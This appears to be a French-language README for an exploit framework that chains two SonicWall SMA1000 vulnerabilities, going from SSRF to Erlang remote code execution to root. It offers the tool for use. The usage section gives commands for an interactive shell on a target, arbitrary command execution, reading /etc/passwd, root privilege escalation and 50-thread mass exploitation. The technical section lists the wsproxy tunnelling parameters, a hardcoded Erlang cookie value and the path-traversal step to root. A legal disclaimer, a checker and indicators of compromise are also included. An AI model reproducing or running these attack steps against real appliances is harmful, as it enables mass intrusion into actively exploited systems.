[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → RCE Erlang → Élévation de privilèges root

Framework d'exploitation et outil de détection sûr
Uniquement pour les tests de sécurité autorisés.

⚖️ Avertissement légal et utilisation responsable

Cet outil est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés.

Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation écrite explicite du propriétaire de la cible avant de tester. L'accès non autorisé aux systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois similaires dans le monde entier.

En utilisant ce logiciel, vous acceptez de :

• L'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.
• Vous conformer à toutes les lois locales, nationales et fédérales applicables.
• Ne pas l'utiliser pour des activités malveillantes, destructrices ou illégales.

⚠️ AVERTISSEMENT : Cette vulnérabilité est activement exploitée dans la nature. Une utilisation non autorisée peut entraîner de graves conséquences juridiques.

🔥 Aperçu de la vulnérabilité

CVE-2026-15409 est une vulnérabilité critique de Server-Side Request Forgery (SSRF) non authentifié découverte dans l'interface Work Place de l'appliance SonicWall SMA1000.

Comment cela fonctionne :

1. Un attaquant exploite le SSRF pour se tunneliser via le point de terminaison wsproxy.
2. Cela permet d'accéder aux services internes de distribution Erlang (port 1050/8188).
3. En utilisant un cookie par défaut codé en dur, l'attaquant s'authentifie auprès du nœud Erlang.
4. L'exécution de code à distance (RCE) est obtenue via des appels os:cmd/1.
5. CVE-2026-15410 est ensuite enchaînée pour élever les privilèges jusqu'à root via un path traversal dans l'AMC (Appliance Management Console).

Informations clés :

• 📅 Divulguée : 14 juillet 2026
• ⚠️ Score CVSS : 10.0 (CRITIQUE)
• 📋 CISA KEV : Ajoutée le 14 juillet 2026 (Échéance : 17 juillet 2026)
• 🎯 Produits concernés : SMA 6210, SMA 7210, SMA 8200v
• 🔄 Versions corrigées : 12.4.3-03453+ et 12.5.0-02835+

🛠️ Framework d'exploitation (exploit.py)

L'exploit complet et militarisé enchaîne CVE-2026-15409 et CVE-2026-15410 pour obtenir un compromis au niveau root.

✨ Fonctionnalités :

📦 Installation et prérequis

Prérequis :

• Python 3.6+
• pip (pour la bibliothèque requests)

Installer les dépendances :

pip install -r requirements.txt

[!] Remarque : exploit.py utilise une implémentation WebSocket manuelle – aucune bibliothèque websockets requise. requests n'est nécessaire que pour la fonctionnalité --detect.

🚀 Exemples d'utilisation

[2] Framework d'exploitation (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] Vérificateur sûr (checker.py)

# Single target scan
python checker.py https://192.168.1.100

# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Mass scan from file
python checker.py --list targets.txt

🎯 Versions concernées

⚠️ Important : Ces vulnérabilités n'affectent pas les pare-feu SonicWall (SSL-VPN) ni la série SMA 100.

🧠 Analyse technique approfondie

SSRF (CVE-2026-15409)

Le point de terminaison wsproxy sur le port 443 accepte un paramètre bmID commençant par -3389 ainsi qu'une spécification host:port. En définissant host=127.0.0.1 et port=1050, les attaquants peuvent se tunneliser vers le service interne de distribution Erlang.

RPC Erlang

Le nœud Erlang utilise un cookie par défaut codé en dur : 10ecad5b446e86864832904cd439b6b70262. Cela permet l'authentification à distance et l'exécution de n'importe quel appel os:cmd/1.

Élévation de privilèges root (CVE-2026-15410)

Une fois authentifié, l'exploit écrit un script shell dans /var/tmp/ et déclenche le point de terminaison XML-RPC remove_hotfix de l'AMC avec un path traversal (../../../../var/tmp/script.sh), exécutant le script en tant que root.

🔍 Indicateurs de compromission (IoCs)

SonicWall recommande de vérifier :

• extraweb_access.log pour /__api__/login ou /__api__/logout (statut 200)
• extraweb_access.log pour /wsproxy avec des paramètres host suspects (statut 101)
• ctrl-service.log pour les rollbacks de hotfix avec path traversal
• /var/lib/unit/conf.json contenant des routes pour /__api__/login ou /__api__/logout

📚 Références

• NVD - CVE-2026-15409
• Avis de sécurité SonicWall (SNWLID-2026-0008)
• Catalogue KEV de la CISA
• The Hacker News - Deux zero-days SonicWall SMA 1000 exploités